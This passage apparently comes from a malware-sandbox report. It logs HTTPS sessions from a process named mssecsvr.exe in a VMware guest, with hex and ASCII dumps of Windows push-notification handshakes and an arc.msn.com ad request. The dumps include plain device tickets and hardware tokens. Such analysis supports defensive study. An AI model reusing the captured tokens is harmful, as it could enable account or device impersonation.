03 c1 14 79 2b e9 40 d1 4f 67 7e b4 08 fe 5e 6a cf 96 17 a1 c5 2f 96 0f 02 9d 82 e5 1f 28 f6 07 14 04 2b 91 8a ba 63 c7 34 d6 4d dd 68 d0 49 d8 a6 53 1c 74 Data Ascii: t'i^mmeno$m+X<3(t9in'[>\|MW N\;4 483l%E!Pjx4 (kNVJWXzP#;>^Sojp!HWv81Vy+@Og~^j/(+c4MhISt
2022-07-20 04:06:58 UTC	6469	IN	Data Raw: 40 55 18 4a 08 07 9d dd 41 15 66 7d 36 7b 3b 34 76 9d 4a 10 36 e3 b5 67 19 2e a7 61 02 be f6 cf cb b4 64 63 eb 45 3a d1 92 6d ea 0a a2 bd 8d cb 1b a8 52 d7 69 c4 88 47 24 0e 48 f7 ac ab fb 58 ae 21 73 03 88 cf fc f3 6e 37 0a c5 5d 5a ee d6 e1 e1 24 e7 76 d3 18 ee 6b 45 e4 66 60 4a 60 37 51 db 26 9b a7 18 4b 9b b9 2e 4b 63 2c 41 71 6f e6 2a 49 8c 72 70 78 a2 8d 46 19 6d 70 c3 8d c7 b1 fb a3 d0 d1 5d 31 5c ca ea cc 97 2b 3d 19 fa 5e b9 0a 71 cd 28 e5 7a 51 bd 57 a5 30 b6 7a 66 be a0 f3 85 fa 51 d3 da 85 eb 48 4f e5 4c 04 66 27 91 4d 2a 5b ae 3e b4 b8 f4 a5 e4 d2 18 83 6a e3 d6 9d bb 77 e3 51 95 c7 6a 7f 03 9c 50 21 0e dd b9 a6 87 c7 04 53 89 a8 d8 d2 b0 c0 b6 3a 25 0a de a9 9a 4c e3 a5 26 ef 7a 63 24 0f f2 e3 14 9b 89 ce 05 34 11 d7 3c d3 b2 76 e0 77 a0 42 Data Ascii: @UJAf}6{;4vJ6g.adcE:mRiG$HX!sn7]Z$vkEf`J`7Q&K.Kc,AqoIrpxFmp]1\+=^q(zQW0zfQHOLf'M[>jwQjP!S:%L&zc$4<vwB
2022-07-20 04:06:58 UTC	6485	IN	Data Raw: c7 39 90 02 bc 95 27 00 8f 6a bb 61 05 be d9 1e 03 fb d1 c1 ce 18 63 d0 83 fc ea 8f 9a 04 81 00 32 74 c0 6e a4 0e a2 b4 ec f4 d1 7e 8e 6d e4 29 8e 09 f4 fc 7f c6 b4 8b 66 2e 3d c5 68 e4 44 12 84 00 1f 61 b7 f0 35 ab 6f 6f 6b 7b 08 05 36 4c 30 77 01 80 c7 d3 8a e7 5e 3b ab 39 04 22 e5 c9 24 2b 01 f3 2e 3e 95 b9 0f d9 e2 b7 d9 f6 76 92 e7 bb 45 26 01 f7 2a 7f a5 6d cd a5 d1 1c ba d8 b0 74 f8 a4 7d f1 83 11 5f bc c0 02 3f 23 55 75 45 96 de 48 e2 92 3f b4 47 d7 cc 8f 19 ff 00 3e d5 6b 41 d1 cd de b5 12 3d e7 d8 22 91 b6 34 92 1c a8 cf 76 ce 6b 6b c4 96 90 e8 b3 bd a6 9d a8 ad c2 c5 9c dc 79 41 a3 6f 70 7a e2 b0 f6 b1 bd 8d d5 19 ee 62 5b 5a 5d bb 09 52 56 f2 42 fe f2 21 c7 1e b8 a5 92 d6 3b cc 88 e4 6b 77 00 94 0c 08 ce 3d c7 5a c6 b7 bb d5 65 67 2a 42 44 8d Data Ascii: 9'jac2tn~m)f.=hDa5ook{6L0w^;9"$+.>vE&mt}_?#UuEH?G>kA="4vkkyAopzb[Z]RVB!;kw=ZegBD
2022-07-20 04:06:58 UTC	6493	IN	Data Raw: c1 c2 01 9a e9 fc 37 e1 e8 6c d1 21 0e 62 8c 74 6c 60 01 e9 f8 d5 0b dd 46 d9 24 46 7b ff 00 21 5b 01 63 93 9f 9b d2 a6 4d 69 04 91 45 3c e4 aa 93 c6 c6 da c7 de 9c 64 a3 b2 25 c6 e6 ee b4 ce b6 de 4c 57 01 21 63 85 27 80 4f d6 bc df c6 1a c6 85 a7 dc 00 fa 7c 97 97 60 6d 66 db 95 07 da bb 5d 78 35 d2 f9 b1 fe e2 08 80 6f 29 4e d5 c1 eb 8c f1 5c 5d fe a9 63 06 a0 92 38 92 75 6f 95 e3 11 f4 f4 3f 4a 89 f9 b2 97 92 33 74 cf 88 f3 68 f6 be 50 b3 61 6b 28 c0 85 8e 00 fa 0a 6d ee b1 f6 9d 36 e2 f6 78 85 bc 51 c2 c6 20 df de ec 00 fa d4 d7 7f d9 43 4d 9e e6 0b 7d f2 29 38 07 9f 9b a8 07 d0 57 2b 7d a7 5d 78 92 34 9d 9d 8e ff 00 99 a3 8c 91 18 c7 61 ef 8a c2 6a fa 1a c6 4e de 46 42 dd 85 b0 b7 7b b0 24 7d 9b 98 28 e4 b8 39 1f 8d 61 78 82 5b 69 3c cb 84 b3 31 4b Data Ascii: 7l!btl`F$F{![cMiE<d%LW!c'O\|`mf]x5o)N\]c8uo?J3thPak(m6xQ CM})8W+}]x4ajNFB{$}(9ax[i<1K
2022-07-20 04:06:58 UTC	6509	IN	Data Raw: 2f ee 77 a3 3b 46 86 c5 46 06 3a 64 1e b5 cf 2f 77 46 8e ba 5a ab a2 ed e5 a7 8b 2f 64 92 44 b2 b3 fb 32 21 58 ed a5 90 61 8f a8 e7 9c f5 aa 70 e9 1a e6 91 0f 9d 2e 99 60 6f 5c 67 f7 4c 06 d0 0f 23 8f ba 47 bd 43 ad 69 23 70 9a d3 5c 96 ed 1d 77 8b 56 3c 83 dc 0f 4f a5 64 37 86 7c e5 37 ba 95 e3 69 cc 70 0c 30 c8 c0 ca 3d c6 69 c9 34 b4 65 29 2e 6b 33 76 eb 4f 1e 22 d5 0c f7 e8 88 8f 1a 81 1e df ba 07 7d c3 be 6a f5 b7 82 f4 3d 36 3f de bf d9 03 c8 38 24 10 73 de a0 9b c5 fa 56 99 f6 6b 54 97 cc 3b 42 11 22 91 95 23 a6 7a 57 37 e2 5f 88 b7 77 1b 34 cb 4d 2e 59 19 47 ee 98 28 23 23 a1 0d e9 4e db 73 09 2d 6e 8e 8f 5d b6 2b a7 93 63 e5 c5 14 6c 10 73 82 f9 3c 11 eb 59 9a 76 81 a8 c5 6c f1 dc 5c dc c0 b2 ee dc aa 77 0e 47 f1 63 b5 73 da 47 c4 4d 57 57 d4 ac Data Ascii: /w;FF:d/wFZ/dD2!Xap.`o\gL#GCi#p\wV<Od7\|7ip0=i4e).k3vO"}j=6?8$sVkT;B"#zW7_w4M.YG(##Ns-n]+cls<Yvl\wGcsGMWW

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	50956	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:01 UTC	6525	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 61 32 30 30 61 38 65 36 37 66 34 34 39 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: ffa200a8e67f4498
2022-07-20 04:07:01 UTC	6525	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:01 UTC	6525	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 61 32 30 30 61 38 65 36 37 66 34 34 39 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: ffa200a8e67f4498<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:07:01 UTC	6526	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 66 61 32 30 30 61 38 65 36 37 66 34 34 39 38 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: ffa200a8e67f4498
2022-07-20 04:07:01 UTC	6526	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:01 UTC	6526	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 35 43 73 7a 59 54 55 6c 30 53 75 34 78 74 42 43 64 5a 56 34 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /5CszYTUl0Su4xtBCdZV4Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	51238	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:11 UTC	6526	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 35 30 30 62 35 35 38 66 37 33 64 32 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 20e500b558f73d25
2022-07-20 04:07:11 UTC	6526	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:11 UTC	6526	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 35 30 30 62 35 35 38 66 37 33 64 32 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 20e500b558f73d25<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:07:11 UTC	6528	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 65 35 30 30 62 35 35 38 66 37 33 64 32 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 20e500b558f73d25<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:07:11 UTC	6528	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:11 UTC	6528	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 76 47 52 42 61 47 2f 35 30 2b 78 42 41 32 4a 33 59 69 48 30 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7vGRBaG/50+xBA2J3YiH0g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	51351	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:14 UTC	6528	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130713Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=8e5527607d9241f2a1a8fc9227567df4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-310091&oemName=nyqfhh%2C%20Inc.&oemid=nyqfhh%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=nyqfhh7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAcLCvn4O5XOTCSLiVv0BWy7BALQmesDqw2ho6oQqSp9VJNMGcjhpUTbdVsGqa6PZbbENvPa5zZsjPnwuHzbfB9EWaAoflW3ein3dxUqkN8wXAAzMCAbfd5PGzWFqXR5/iQLNdJzPVAkawJWXew9Wr+OF06JaI8PDhWNYFgYCCZ2TMBfKlvNnN3X9Wpj4+qWs2RJ7/1CFYdhORSo1hFFSPnMvDa3x3LQG6B36d512kya/qjyv/nmNQcdlMv/THvZQfI/hZ7XMDrp/P+EOqaEj15TU5q6Ph3KWHSUq2r/PgA8662iOLriEpQwtNbfdLeX9nuWP3hEx+q6UoVhUIcckFqIDZgAACONaSsRGi98iqAFewyMk6fO+kXvZWSZPzVC734i0urELGgeJzoE4kslXhL9MQfckSCJxV74odaybYVbGfzReLGT5+VWbJKeHM5TYj2vnJ91xTcXQ/W8pJcjzb/UArCQs6IMtEXoE+QKgBorTMT7mCOWns4A9bFpjzidU6E4GSyLnpM4m3hAe0Bz/pGo8EPe1fgECEN3jDDkHS+9o7Vt6WD0NiOmc18/tUxSAp6DTElrDcwailafc/SxsqfP8JYG96fJPw4VleiQUuWF7iSZ/XJWp7DmGMLbZJdaaoqWhi2nXk1CkHZqc7vYjtL2STklcts2hlnuBEA4iS5HzUnBMLnab2mlALVPCvt9oh4dOLm756ShbXi0x97F1qGesr/EI0M7Drt7pMGYundoMU0koSqJp2ChDlDSVJ5xBhccgXTuYDoCpHpo4liCcZWj9VQk+MqIi3lenK9w35NPJylLvmN8POJBOaq2MahKuc2YI1unSximGhgi8CtY5iiYFwVJZ307JSCmZxiReHqDrAJI2eeRGloQ1dM1uSahFXEWQT5J/NkYmwT+IO8NSHTO99S5OttaO1gE=&p= Cache-Control: no-cache MS-CV: dlh0AuNS1kGDG0q6.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:07:15 UTC	6530	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: ShSnYQZb2/A0GoOULoE9rhmMdGJJQPbfpFI6qMQ3HCpapx9WBz8vdieI7pUeSu4mA+faC5xHMKkmwEUhgipufkNbRdgFO/n5j5cu7pN4O7SwkGgpEgGVnun23eIcolTbysnnfsVEB/2TD6eA0NCArHIlUB4x9UmVvIWnaUwC6b5g3Ogrkp4H1mBAE7w/mqZ3c4BGfKdrvaqGsQlI/BUX4UYwnOv1U3XUzYA8dhlWBmAnAsc0oQe6+mMp148D7xeg9uMHBbCTkqWY5eRPl7sZb33iNJkgPcHukfWD8YijoWCh8Nqb9W+Tb9lk9BdrMaIO19qEB9aKN8yBno2jl9j0dA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:07:14 GMT Connection: close
2022-07-20 04:07:15 UTC	6531	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 30 38 3a 30 37 3a 31 34 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T08:07:14"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	51685	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:25 UTC	6531	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 66 38 32 35 39 39 36 62 37 31 64 34 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: a9af825996b71d44
2022-07-20 04:07:25 UTC	6531	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:25 UTC	6531	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 66 38 32 35 39 39 36 62 37 31 64 34 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: a9af825996b71d44<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:07:25 UTC	6532	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 39 61 66 38 32 35 39 39 36 62 37 31 64 34 34 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: a9af825996b71d44
2022-07-20 04:07:25 UTC	6532	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:07:25 UTC	6532	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 59 73 55 33 6c 57 4f 44 30 53 45 55 6a 6a 58 37 54 62 34 78 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: sYsU3lWOD0SEUjjX7Tb4xQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	52079	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:34 UTC	6532	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 38 63 37 65 39 65 66 30 36 33 35 36 30 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: f48c7e9ef0635601
2022-07-20 04:07:34 UTC	6532	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:07:34 UTC	6533	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 34 38 63 37 65 39 65 66 30 36 33 35 36 30 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 